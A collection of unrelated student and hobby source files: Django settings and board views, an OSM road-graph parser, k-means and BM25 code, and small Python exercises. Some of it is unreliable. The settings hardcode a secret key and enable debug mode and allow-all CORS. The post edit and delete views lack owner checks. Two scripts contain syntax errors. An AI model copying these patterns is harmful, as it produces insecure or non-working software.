306ee0e3f42da10e7a7187c2d79cea92ae6e8609 | 247b06de0f3c80d6a48f62cb3ba87272885baa3b | /Scripts/djangular/djangular/settings.py | f7fdd76b1b85327f80bc68ea08f27f262d23bb00 | [] | no_license | jean-sotil-3pillarglobal/scrumboard-angular-djangorestframwork | b7382db6748b34d92442ebd8997d300cc9a6ec09 | 569de8ee6a164ac0cce163ccf865a7909378ab67 | refs/heads/master | 2023-04-30T13:13:01.281584 | 2016-11-18T23:36:12 | 2016-11-18T23:36:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,701 | py | """
Django settings for djangular project.
Generated by 'django-admin startproject' using Django 1.10.3.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'y4n#_8h^1_we)vdwkbm7zrc$xg08^v_=ob35f+53v+e*%=8wzc'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'corsheaders',
'scrumboard',
]
MIDDLEWARE_CLASSES = [
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'djangular.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'djangular.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.10/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
STATIC_URL = '/static/'
# Settings for REST_FRAMEWORK
REST_FRAMEWORK = {
'PAGINATE_BY': 10
}
CORS_ORIGIN_ALLOW_ALL = True
#CORS_URLS_REGEX = r'^/scrumboard/.*$'
CORS_ALLOW_METHODS = (
'DELETE',
'GET',
'OPTIONS',
'PATCH',
'POST',
'PUT',
)
CORS_ALLOW_HEADERS = (
'accept',
'accept-encoding',
'authorization',
'content-type',
'dnt',
'origin',
'user-agent',
'x-csrftoken',
'x-requested-with',
)
| [
"jean.sotil@gmail.com"
] | jean.sotil@gmail.com |
c6ce294fabdf77481db2cb169457ccad73b12dca | 53090d932232917d381aab960436e5e9c72962e5 | /core/modules.py | 4a56580a00ae9368061edc735348249d47d55b80 | [] | no_license | gurayinan/propertyfinderQ5 | 62d3bc002432f4f4ab9db992fbc2f8260e7e708b | 4682c43dca7fb7b4f536b3b85bffe55f89018a11 | refs/heads/master | 2021-01-20T07:07:06.305632 | 2017-05-01T20:20:17 | 2017-05-01T20:20:17 | 89,958,911 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 442 | py | import datetime
import time
import unittest
import os
import sys
from ConfigParser import ConfigParser
from random import randint
from appium import webdriver as app
from functools import wraps
from selenium import webdriver
from selenium.webdriver.support import expected_conditions as ec
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support.ui import Select
from selenium.webdriver.common.keys import Keys | [
"gurayinan@Gurays-MacBook-Pro.local"
] | gurayinan@Gurays-MacBook-Pro.local |
7b5aeb5a7d41e3f0ab07804cffd1010b539390d4 | 13ed4c57bbf6e4f887cc204a2449e92aeb47ec6c | /venv/jpg_to_png_converter.py | 442d5c5e67b446d7d5245e493bcba880821774a8 | [] | no_license | Punkrockechidna/image_convert | 07b5ea6adc8c5296ed237013a83adb2eeab7fa73 | b281c9e61182f2a8934d0e6ba07e73daf29575cc | refs/heads/master | 2020-12-03T22:12:15.130738 | 2020-01-03T03:05:32 | 2020-01-03T03:05:32 | 231,502,230 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 635 | py | import sys
from pathlib import Path
from PIL import Image
# grab first arguement and second (folders)
# jpg_folder = sys.argv[1]
# png_folder = sys.argv[2]
# print(jpg_folder)
# print(png_folder)
jpg_folder = 'pokedex'
png_folder = 'converted'
# check if second exists, create if not
def find_folder(folder):
# print(folder)
folder_path = Path(folder)
# print(folder_path)
if folder_path.is_dir():
return True
else:
Path(f'{folder}').mkdir(parents=True, exist_ok=True)
print(find_folder(png_folder))
# loop through pokedex and convert all to png
def loop_folder_jpgs:
# save to new folder
| [
"dan.kaplan@ieleadership.org"
] | dan.kaplan@ieleadership.org |
81a853644f657db310795ccd6bc3d7c7e4048b9e | eb08fc60c6e0e68d95a4cc42d4573875d09d83ef | /nEvenNumbers.py | cbb412a79c8f21c6b89697b8d45777cb1d740a9c | [] | no_license | 1jyotsna1/Python-Programs-Basic-to-Advanced- | 3d1b467b953c2401ebdf57a8faee276077da0003 | ff8d8419201894de8c9421cc16ea6bb02d7ba292 | refs/heads/master | 2021-07-02T13:52:29.696051 | 2020-10-31T09:14:28 | 2020-10-31T09:14:28 | 173,432,448 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | n=int(input('Enter a number'))
j=0
for i in range(0,n):
if(i<n):
#print(j)
#j=j+2
print(i*2)
| [
"noreply@github.com"
] | noreply@github.com |
a272107be359ea29639480af2e1863ca86fab875 | 2a6740bad17aa5da1fcc5ab6cb5013193059e946 | /udemy/formation_python/Exrecices/nombre myster/exo msyter4.py | e8a9279f92e0711872296fad8fd9b97fbde89ddf | [] | no_license | micka-sudo/cours | 41b2b09daa690c2c6b24203fe12dd0834ab2364c | 4d877aeb87d4fcd59c312dd9714e7b140713a2b4 | refs/heads/master | 2023-08-14T22:59:22.712008 | 2021-09-13T11:38:48 | 2021-09-13T11:38:48 | 405,946,954 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 566 | py | # -*- coding: utf-8 -*-
"""
Created on Sat Feb 15 16:10:19 2020
@author: Shadow
"""
import random
nombre_mystere = random.randint(0, 10)
nombre = input("Quel est le nombre mystère ? ")
if not nombre.isdigit():
print("SVP, entrez un nombre valide.")
exit()
nombre = int(nombre)
if nombre > nombre_mystere:
print(f"Le nombre mystère est plus petit que {nombre}")
elif nombre < nombre_mystere:
print(f"Le nombre mystère est plus grand que {nombre}")
elif nombre != nombre.isdig
else:
print("Bravo, vous avez trouvé le nombre mystère !") | [
"mickael.gerard.dev@gmail.com"
] | mickael.gerard.dev@gmail.com |
e07e351a2ab395d5a0288f85f4d8e8f0dbcb21ce | 83ee284f4da07a995918eff685eb02cb78e9a047 | /OSMParser.py | fd45a18845dd31417a3f297fc2e9cfc8341316a2 | [] | no_license | sarthak0415/osm-shp-graph | f3d952005cf2f4044bc17fcc8c1b8171aa342101 | 109b8f845f408500b58535d4e08e648a8a003de1 | refs/heads/master | 2021-05-11T11:37:23.028213 | 2018-01-18T07:13:19 | 2018-01-18T07:13:19 | 117,642,144 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,126 | py |
## Modules
# Elementary modules
from math import radians, cos, sin, asin, sqrt
import copy
# Graph module
import networkx
# Specific modules
import xml.sax # parse osm file
from pathlib import Path # manage cached tiles
def haversine(lon1, lat1, lon2, lat2, unit_m = True):
"""
Calculate the great circle distance between two points
on the earth (specified in decimal degrees)
default unit : km
"""
# convert decimal degrees to radians
lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])
# haversine formula
dlon = lon2 - lon1
dlat = lat2 - lat1
a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2
c = 2 * asin(sqrt(a))
r = 6371 # Radius of earth in kilometers. Use 3956 for miles
if (unit_m):
r *= 1000
return c * r
def download_osm(left, bottom, right, top, proxy = False, proxyHost = "10.0.4.2", proxyPort = "3128", cache = False, cacheTempDir = "/tmp/tmpOSM/", verbose = True):
""" Return a filehandle to the downloaded data from osm api."""
import urllib.request # To request the web
if (cache):
## cached tile filename
cachedTileFilename = "osm_map_{:.8f}_{:.8f}_{:.8f}_{:.8f}.map".format(left, bottom, right, top)
if (verbose):
print("Cached tile filename :", cachedTileFilename)
Path(cacheTempDir).mkdir(parents = True, exist_ok = True) ## Create cache path if not exists
osmFile = Path(cacheTempDir + cachedTileFilename).resolve() ## Replace the relative cache folder path to absolute path
if osmFile.is_file():
# download from the cache folder
if (verbose):
print("Tile loaded from the cache folder.")
fp = urllib.request.urlopen("file://"+str(osmFile))
return fp
if (proxy):
# configure the urllib request with the proxy
proxy_handler = urllib.request.ProxyHandler({'https': 'https://' + proxyHost + ":" + proxyPort, 'http': 'http://' + proxyHost + ":" + proxyPort})
opener = urllib.request.build_opener(proxy_handler)
urllib.request.install_opener(opener)
request = "http://api.openstreetmap.org/api/0.6/map?bbox=%f,%f,%f,%f"%(left,bottom,right,top)
if (verbose):
print("Download the tile from osm web api ... in progress")
print("Request :", request)
fp = urllib.request.urlopen(request)
if (verbose):
print("OSM Tile downloaded")
if (cache):
if (verbose):
print("Write osm tile in the cache"
)
content = fp.read()
with open(osmFile, 'wb') as f:
f.write(content)
if osmFile.is_file():
if (verbose):
print("OSM tile written in the cache")
fp = urllib.request.urlopen("file://"+str(osmFile)) ## Reload the osm tile from the cache (because fp.read moved the cursor)
return fp
return fp
def read_osm(filename_or_stream, only_roads=True):
"""Read graph in OSM format from file specified by name or by stream object.
Parameters
----------
filename_or_stream : filename or stream object
Returns
-------
G : Graph
Examples
--------
>>> G=nx.read_osm(nx.download_osm(-122.33,47.60,-122.31,47.61))
>>> import matplotlib.pyplot as plt
>>> plt.plot([G.node[n]['lat']for n in G], [G.node[n]['lon'] for n in G], 'o', color='k')
>>> plt.show()
"""
osm = OSM(filename_or_stream)
G = networkx.DiGraph()
## Add ways
for w in osm.ways.values():
if only_roads and 'highway' not in w.tags:
continue
if ('oneway' in w.tags):
if (w.tags['oneway'] == 'yes'):
# ONLY ONE DIRECTION
G.add_path(w.nds, id=w.id)
else:
# BOTH DIRECTION
G.add_path(w.nds, id=w.id)
G.add_path(w.nds[::-1], id=w.id)
else:
# BOTH DIRECTION
G.add_path(w.nds, id=w.id)
G.add_path(w.nds[::-1], id=w.id)
## Complete the used nodes' information
for n_id in G.nodes():
n = osm.nodes[n_id]
G.node[n_id]['lat'] = n.lat
G.node[n_id]['lon'] = n.lon
G.node[n_id]['id'] = n.id
## Estimate the length of each way
for u,v,d in G.edges(data=True):
distance = haversine(G.node[u]['lon'], G.node[u]['lat'], G.node[v]['lon'], G.node[v]['lat'], unit_m = True) # Give a realistic distance estimation (neither EPSG nor projection nor reference system are specified)
G.add_weighted_edges_from([( u, v, distance)], weight='length')
return G
class Node:
def __init__(self, id, lon, lat):
self.id = id
self.lon = lon
self.lat = lat
self.tags = {}
def __str__(self):
return "Node (id : %s) lon : %s, lat : %s "%(self.id, self.lon, self.lat)
class Way:
def __init__(self, id, osm):
self.osm = osm
self.id = id
self.nds = []
self.tags = {}
def split(self, dividers):
# slice the node-array using this nifty recursive function
def slice_array(ar, dividers):
for i in range(1,len(ar)-1):
if dividers[ar[i]]>1:
left = ar[:i+1]
right = ar[i:]
rightsliced = slice_array(right, dividers)
return [left]+rightsliced
return [ar]
slices = slice_array(self.nds, dividers)
# create a way object for each node-array slice
ret = []
i=0
for slice in slices:
littleway = copy.copy( self )
littleway.id += "-%d"%i
littleway.nds = slice
ret.append( littleway )
i += 1
return ret
class OSM:
def __init__(self, filename_or_stream):
""" File can be either a filename or stream/file object."""
nodes = {}
ways = {}
superself = self
class OSMHandler(xml.sax.ContentHandler):
@classmethod
def setDocumentLocator(self,loc):
pass
@classmethod
def startDocument(self):
pass
@classmethod
def endDocument(self):
pass
@classmethod
def startElement(self, name, attrs):
if name=='node':
self.currElem = Node(attrs['id'], float(attrs['lon']), float(attrs['lat']))
elif name=='way':
self.currElem = Way(attrs['id'], superself)
elif name=='tag':
self.currElem.tags[attrs['k']] = attrs['v']
elif name=='nd':
self.currElem.nds.append( attrs['ref'] )
@classmethod
def endElement(self,name):
if name=='node':
nodes[self.currElem.id] = self.currElem
elif name=='way':
ways[self.currElem.id] = self.currElem
@classmethod
def characters(self, chars):
pass
xml.sax.parse(filename_or_stream, OSMHandler)
self.nodes = nodes
self.ways = ways
#count times each node is used
node_histogram = dict.fromkeys( self.nodes.keys(), 0 )
for way in self.ways.values():
if len(way.nds) < 2: #if a way has only one node, delete it out of the osm collection
del self.ways[way.id]
else:
for node in way.nds:
node_histogram[node] += 1
#use that histogram to split all ways, replacing the member set of ways
new_ways = {}
for id, way in self.ways.items():
split_ways = way.split(node_histogram)
for split_way in split_ways:
new_ways[split_way.id] = split_way
self.ways = new_ways
G=read_osm('iiit_map.osm', False)
import matplotlib.pyplot as plt
plt.plot([G.node[n]['lat']for n in G], [G.node[n]['lon'] for n in G], 'o', color='k')
plt.show()
| [
"sarthak0415@gmail.com"
] | sarthak0415@gmail.com |
daf27f71cbc15575ee65fd0f02661c46889e6984 | 2efda4e99b5b9da5041d4984b71a2121561a29d3 | /EwhaEverytimeEverywhere/board/views.py | 4acb5691431bf2776659eac49a6cf82d7009ef6f | [] | no_license | yunaisme/Cyber_Graduation_Project | 2ff31284ced20688cad9e4546fad2d3af2217cdf | 5388fe8a3dce0c6053ff00522c50390e8a6160b1 | refs/heads/main | 2023-07-30T12:50:15.754026 | 2021-09-26T14:20:19 | 2021-09-26T14:20:19 | 397,037,621 | 0 | 0 | null | 2021-08-17T01:04:28 | 2021-08-17T01:04:27 | null | UTF-8 | Python | false | false | 2,572 | py | from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.shortcuts import render, redirect, get_object_or_404
from .forms import PostForm, CommentForm
from .models import Post, Comment
@login_required(login_url='login')
def post_list(request):
posts = Post.objects.all().order_by('-created_at')
return render(request, 'board/post_list.html',
{'posts': posts})
@login_required(login_url='login')
def post_detail(request, pk):
post = get_object_or_404(Post, pk=pk)
comments = Comment.objects.filter(post_id=pk).order_by('-comment_created')
if request.method == 'POST':
form = CommentForm(request.POST)
if form.is_valid():
comment_form = form.save(commit=False)
comment_form.post = post
comment_form.comment_writer = request.user
comment_form.save()
return redirect('board:post_detail', pk=post.pk)
else:
form = CommentForm()
context = {
'post': post,
'comments': comments,
'comment_form': form
}
return render(request, 'board/post_detail.html', context)
@login_required(login_url='login')
def post_upload(request):
if request.method == 'POST':
form = PostForm(request.POST)
if form.is_valid():
post = form.save(commit=False)
post.author = request.user
post.save()
return redirect('board:post_list')
else:
form = PostForm()
return render(request, 'board/post_upload.html', {
'form': form,
})
@login_required(login_url='login')
def post_edit(request, pk):
item = get_object_or_404(Post, pk=pk)
# 그 사람 id인거 인증하는거 있어야함
if request.method == 'POST':
form = PostForm(instance=item)
if form.is_valid():
item = form.save()
messages.success(request, '포스트를 수정했습니다.')
return redirect(item)
else:
form = PostForm(instance=item)
return render(request, 'board/post_edit.html', {
'form': form,
})
@login_required(login_url='login')
def post_delete(request, pk):
post = Post.objects.get(pk=pk)
if request.method == 'POST':
# 그 사람 id인거 인증하는거 있어야함
post.delete()
messages.success(request, '포스팅을 삭제했습니다.')
return redirect('board:post_list')
| [
"gegiraffe@gmail.com"
] | gegiraffe@gmail.com |
8bce87db52839bfb325e37a18ea9b5a477384736 | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5634697451274240_0/Python/sachinr20/b.py | 1805d5abd977f454eca786173f8e9a14c75ab1cd | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 1,425 | py | import sys
def flip(st, count):
#if count==len(st):
# return st[::-1]
l = count
st2 = ""
for i in range(count):
if st[i]=='+':
st2 = st2 + "-"
else:
st2 = st2 + "+"
#print("st2new:"+st2)
st2 = st2[::-1]
return st2+st[count:]
def handleit(line, count):
#print("Handling "+line + " len:"+ str(len(line)))
chars = [x for x in line]
if len(line)<=0:
return count;
if len(line) == 1:
if chars[0]=='+':
return count;
else:
count = count + 1
return count
total = len(line)
if line[total-1] == '+':
return handleit(line[:-1], count)
else:
pluses = 0
for ch in chars:
if ch != '+':
break
pluses += 1
if pluses == 0:
line = flip(line, len(line))
count +=1
else:
line = flip(line, pluses)
line = flip(line, len(line))
count += 2
return handleit(line[:len(line)-pluses], count)
name = sys.argv[1]
with open(name) as f:
lines = f.readlines()
lines = lines[1:]
case = 0
with open("out", "w") as o:
for line in lines:
case += 1
line = line.strip()
count = 0
c = handleit(line, count)
op = "Case #"+str(case)+": "+str(c)+"\n"
print(op, end="")
o.write(op)
| [
"alexandra1.back@gmail.com"
] | alexandra1.back@gmail.com |
ff9c3674a4609d828ea0196b0265b773cf5ddbde | 6ba73a9705e6a5cd1e8a86eb39997028a099d496 | /k_means/k_means_cluster.py | 3f62080014571cc3d3251262fcb080e89f6c50c7 | [] | no_license | julijanna/Udacity-Data-Analyst-ML | b1e6b44db1a4c9beedadf4bc2078f862719c4586 | 4365e7a78eba2b3c90849056c61505080fbd1fb6 | refs/heads/master | 2021-01-01T16:23:16.194995 | 2019-05-08T13:39:39 | 2019-05-08T13:39:39 | 97,820,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,023 | py | #!/usr/bin/python
"""
Skeleton code for k-means clustering mini-project.
"""
import pickle
import numpy
import matplotlib.pyplot as plt
import sys
sys.path.append("../tools/")
from feature_format import featureFormat, targetFeatureSplit
def Draw(pred, features, poi, mark_poi=False, name="image.png", f1_name="feature 1", f2_name="feature 2"):
""" some plotting code designed to help you visualize your clusters """
### plot each cluster with a different color--add more colors for
### drawing more than five clusters
colors = ["b", "c", "k", "m", "g"]
for ii, pp in enumerate(pred):
plt.scatter(features[ii][0], features[ii][1], color = colors[pred[ii]])
### if you like, place red stars over points that are POIs (just for funsies)
if mark_poi:
for ii, pp in enumerate(pred):
if poi[ii]:
plt.scatter(features[ii][0], features[ii][1], color="r", marker="*")
plt.xlabel(f1_name)
plt.ylabel(f2_name)
plt.savefig(name)
plt.show()
### load in the dict of dicts containing all the data on each person in the dataset
data_dict = pickle.load( open("../final_project/final_project_dataset.pkl", "r") )
### there's an outlier--remove it!
data_dict.pop("TOTAL", 0)
### the input features we want to use
### can be any key in the person-level dictionary (salary, director_fees, etc.)
feature_1 = "salary"
feature_2 = "from_messages"
feature_3 = "total_payments"
poi = "poi"
features_list = [poi, feature_1, feature_2]
data = featureFormat(data_dict, features_list )
poi, finance_features = targetFeatureSplit( data )
### in the "clustering with 3 features" part of the mini-project,
### you'll want to change this line to
### for f1, f2, _ in finance_features:
### (as it's currently written, the line below assumes 2 features)
for f1, f2 in finance_features:
plt.scatter( f1, f2 )
plt.show()
stock_options = []
for key, value in data_dict.iteritems():
if value['salary'] != 'NaN':
stock_options.append(value['salary'])
print max(stock_options)
print min(stock_options)
print finance_features
from sklearn.preprocessing import MinMaxScaler
scaler = MinMaxScaler()
rescaled_finance_features = scaler.fit_transform(finance_features)
finance_features_test = numpy.array([200000., 1000000.])
financial_features_test_transformed = scaler.transform(finance_features_test)
print financial_features_test_transformed
### cluster here; create predictions of the cluster labels
### for the data and store them to a list called pred
from sklearn.cluster import KMeans
kmeans = KMeans(n_clusters=2)
kmeans.fit(finance_features)
pred = kmeans.predict(finance_features)
### rename the "name" parameter when you change the number of features
### so that the figure gets saved to a different file
try:
Draw(pred, finance_features, poi, mark_poi=False, name="clusters.pdf", f1_name=feature_1, f2_name=feature_2)
except NameError:
print "no predictions object named pred found, no clusters to plot"
| [
"malgorzata.kot@jobcloud.ch"
] | malgorzata.kot@jobcloud.ch |
954d3f114385f250baccc530c75485c2e98fcc02 | 1f89e25e07d08b705369f3a0c878d548f602f538 | /81 (Path sum; two ways).py | 670fb43f5d001349741cfdf1fadd5b44a8984e92 | [] | no_license | hanpengwang/ProjectEuler | acf3edb7dbd2d8f3c95d9852fabe9dc19ff75a0e | 533bd61379cb9830c956570dd44b4deaebfeef1d | refs/heads/master | 2022-10-06T11:36:19.559892 | 2020-06-06T21:53:10 | 2020-06-06T21:53:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 717 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Mar 25 23:43:10 2020
@author: hanpengwang
"""
def minSum(matrix):
for i in range(len(matrix[0]))[1:]:
matrix[0][i] = matrix[0][i] + matrix[0][i-1]
for i in range(len(matrix))[1:]:
matrix[i][0] = matrix[i][0] + matrix[i-1][0]
for i in range(len(matrix))[1:]:
for i2 in range(len(matrix[0]))[1:]:
matrix[i][i2] = min(matrix[i][i2-1], matrix[i-1][i2]) + matrix[i][i2]
return matrix[-1][-1]
file = open("/Users/hanpengwang/Downloads/p081_matrix.txt")
matrix = []
for i in file:
matrix.append(list(map(int, i.split(","))))
print(minSum(matrix))
| [
"hanpengwang@HanPengs-MacBook-Air.local"
] | hanpengwang@HanPengs-MacBook-Air.local |
a31fdb2f9d06bad2699e37e5c3db7181812246ce | 8e6b71f41e9ab01696e20b50bad53db60a4c22bd | /virtual/bin/isort | d73b724609d2486fa27f1ce85c8002047f6b244b | [
"MIT"
] | permissive | wanjikuciku/Piktures | 858b94462ada74f032fb885bc518d3268b097cca | 1325e6e0bf8f1399d99594431c6b634e573363f7 | refs/heads/master | 2022-12-16T17:01:53.934296 | 2019-03-05T06:56:23 | 2019-03-05T06:56:23 | 173,079,461 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 264 | #!/home/lorna/Documents/django-workout/Piktures2/virtual/bin/python3.6
# -*- coding: utf-8 -*-
import re
import sys
from isort.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"lorna.wanjiku56@gmail.com"
] | lorna.wanjiku56@gmail.com | |
5f75cba56f656a72d81a5600d0bf46f2bda918b0 | 8b03d916264b86eb73c519efeb953499d8f19638 | /src/rank/__init__.py | ed62c23badbf8fbdf1e63e3ca93c694a031ee85e | [] | no_license | GuillaumeBadikian/recherche-info | ed01280b7a2f10dd835eb49b92d8ccb2cd393119 | 0cfb7358db8bb4e1b84bb9b8f7088af32317ac55 | refs/heads/dev | 2023-02-26T07:47:07.672615 | 2021-01-29T22:33:20 | 2021-01-29T22:33:20 | 312,830,894 | 0 | 0 | null | 2021-01-29T22:39:04 | 2020-11-14T14:16:13 | Python | UTF-8 | Python | false | false | 628 | py | from rank_bm25 import *
import src.rank.bm25 as bm1
def bm25(corpus, req, k, b, d):
bm = bm1.BM25(k1=k, b=b)
bm.fit(corpus)
return bm.search(req)
def bm25l(corpus, req, k, b, d):
bm = BM25L(corpus=corpus, k1=k, b=b, delta=d)
return bm.get_scores(req)
def bm25plus(corpus, req, k, b, d):
bm = BM25Plus(corpus=corpus, k1=k, b=b, delta=d)
return bm.get_scores(req)
def bm25t(corpus, req, k, b, d):
bm = bm1.BM25T(corpus, k1=k, b=b, delta=d)
return bm.get_scores(req)
def bm25adpt(corpus, req, k, b, d):
bm = bm1.BM25Adpt(corpus, k1=k, b=b, delta=d)
return bm.get_scores(req)
| [
"guillaume.badikian@gmail.com"
] | guillaume.badikian@gmail.com |
e156a23f256074198c75442c89991cde95c820b5 | 3aa6b4e220a45ca806b1364e909eae242558db23 | /model/models.py | 3ff3346ff878e6b05f8d1d9de2d0ac850ba50d38 | [] | no_license | feiyang1235/myblog | d3f2aa1cf0dc32906a9c473d5ee5836da2cdce0e | f81f55b7c704d71f51c857935fad23bb55106fe6 | refs/heads/master | 2020-03-13T19:28:08.384296 | 2018-04-27T06:20:56 | 2018-04-27T06:20:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 921 | py | # coding=utf-8
from sqlalchemy.orm import contains_eager, deferred
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, DateTime, Integer, String, Boolean, Text, ForeignKey, BigInteger, DATE
from sqlalchemy.orm import relationship, backref
from datetime import datetime
DbBase = declarative_base()
class DbInit(object):
create_time = Column(DateTime,default = datetime.now)
class Login(DbBase,DbInit):
__tablename__='login'
id = Column(Integer,primary_key=True)
email = Column(String(64),default = None,unique=True)
username = Column(String(64), unique=True, index=True)
nickname = Column(String(64),default = "customer")
password = Column(String(128),default = "123456")
# 验证当前对象的密码是否正确
def verify_password(self, password):
return self.password == password
class A(object):
def __init__(self):
pass
| [
"windflysun@foxmail.com"
] | windflysun@foxmail.com |
3ea597062d349f2995c62bb5d62cc9faf7d6bffe | ed21529844d95422e3375b7fe51f7775ab6c751c | /lkliondjango/oldman_blog_project/blog/migrations/0001_initial.py | e673c95370980a52673964f60e9066ec245bf289 | [] | no_license | wlight96/likelionworkspace | d842af8b269fe72314508e1a99eb94cce70b659b | 6634efd0105a0e93750b7a695f39907683257b32 | refs/heads/main | 2023-06-24T08:19:38.859740 | 2021-07-14T07:37:38 | 2021-07-14T07:37:38 | 366,376,720 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,038 | py | # Generated by Django 3.2.2 on 2021-05-11 15:37
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Blog',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200)),
('pub_date', models.DateTimeField(verbose_name='date published')),
('body', models.TextField()),
],
),
migrations.CreateModel(
name='Notice',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('notice_title', models.CharField(max_length=200)),
('pub_date', models.DateTimeField(verbose_name='date published')),
('body', models.TextField()),
],
),
]
| [
"wlight96@naver.com"
] | wlight96@naver.com |
bdf35fd43669e99b30e709c13acdab423dcffbdd | e93276186dd7d0830cc17a90d2011da8c32c3058 | /Python Programming A Concise Introduction/Exercises4_part1.py | 65d7e89f2c0478bd52359c35d9eb20beab38aba1 | [] | no_license | AkshayaSivakumar/LearningPython | 014b20b1c86853f82f35a431738409fa477d3dc8 | 66300ba8a68ec6ba6a7a635f80016fdc2d2e3906 | refs/heads/master | 2021-07-17T15:53:52.462551 | 2021-05-20T17:01:24 | 2021-05-20T17:01:24 | 125,881,746 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,340 | py | # -Exercises4.py *- coding: utf-8 -*-
"""
LONG STRINGS
"""
#%%
lstr1 = "A very long string can be tied together using " + \
"a backslash (also called the escape character)."
lstr2 = ("A very long string can also be tied together using "
"parentheses to enclose the various parts.")
#%%
"""
BUILDING LISTS OF RANDOM NUMBERS; RETURNING FUNCTIONAL VALUES
Sometimes you need a list of numbers. Here is a way to build a list of pseudo-
random numbers. We again import the python library random. It furnishes a
random integer generator called randint().
Note the basic loop design pattern reappears.
The function make_random() below builds a list of random integers using the
randint() function from the random library. Note that we do not print the list
out as we usually do. Instead we use another function to call the make_random()
function and print it in the calling function.
"""
#%%
import random
def make_random():
""" Make a list of 10 random integers between 1 and 100. """
numlis = []
for i in range(0,10):
numlis.append(random.randint(1,100))
return numlis
def call_make_random():
""" Uses make_random to get a list of random numbers """
random_integers = make_random()
print("The list of random numbers is",random_integers)
#%%
"""
For testing your program, however, it can be deadly to have a different set of
random numbers each time it is run. That's a formula for madness: sometimes
your program may work and sometimes not, depending on the particular random
numbers that happen to be generated on that run. Consequently, it can be very
hard to track down the error. For testing purposes, you can generate the same
random numbers over and over again by setting the random number generator's
seed to the same value each time.
"""
#%%
import random
def make_same_random():
""" Make a list of 10 random integers that are the same each time """
numlis = []
random.seed(17) # set the seed from which random numbers are made
for i in range(0,10):
numlis.append(random.randint(1,100))
return numlis
def call_make_random():
""" Uses make_same_random to get a list of random numbers """
random_integers = make_same_random()
print(random_integers)
random_integers1 = make_same_random()
print(random_integers1)
#%%
"""
Exercise:
Write a function make_random_real() that uses random.random() in place of
random.randint() to build a list of 10 random reals and returns that list.
random.random() generates a random number between 0 and 1.
Note: we want to return a list not print it.
Here is my run. Your list of random reals will likely be different from mine:
In [2]: make_random_real()
Out[2]:
[0.6069930611672794,
0.9812910762564292,
0.4290994419220008,
0.9957161016532591,
0.005874475115656863,
